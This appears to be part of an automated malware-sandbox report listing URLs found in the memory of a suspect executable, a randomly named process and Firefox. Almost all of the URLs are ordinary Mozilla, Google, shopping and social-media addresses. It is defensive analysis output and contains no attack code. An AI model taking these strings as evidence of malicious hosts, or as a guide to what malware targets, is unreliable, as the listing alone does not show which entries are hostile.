Source: file.exe, 00000000.00000003.2215827010.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2913537647.000002EE60061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationMaster
Source: file.exe, 00000000.00000003.2215827010.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2860117948.000002EE59D34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2929744715.000002EE64DD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948229640.0000385848BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/.
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C918000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948229640.0000385848BDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2216206889.00000000055AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/Z
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/m
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001A.00000002.2905856189.000002EE5EF42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948229640.0000385848BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C9B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001A.00000002.2880475164.000002EE5D3C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.2880475164.000002EE5D3C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: file.exe, 00000000.00000003.2215691482.00000000055D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2215691482.00000000055D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2883094027.000002EE5D848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64BC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2860117948.000002EE59D34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C96B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2947092222.000028CD8F900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2883094027.000002EE5D88E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854573786.000002EE58ED5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854573786.000002EE58E68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2929744715.000002EE64DB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000003.2215827010.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2779151506.000002EE5DB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778146878.000002EE5DBBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2770726535.000002EE5DBA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2780374818.000002EE5DB9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2770726535.000002EE5DB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2791936031.000002EE5DC43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000003.2215827010.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2215827010.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2883094027.000002EE5D8A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 0000001A.00000002.2911859884.000002EE5FF8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2942500149.0000172EA5204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948229640.0000385848BDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/Z
Source: file.exe, 00000000.00000003.2216206889.00000000055AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
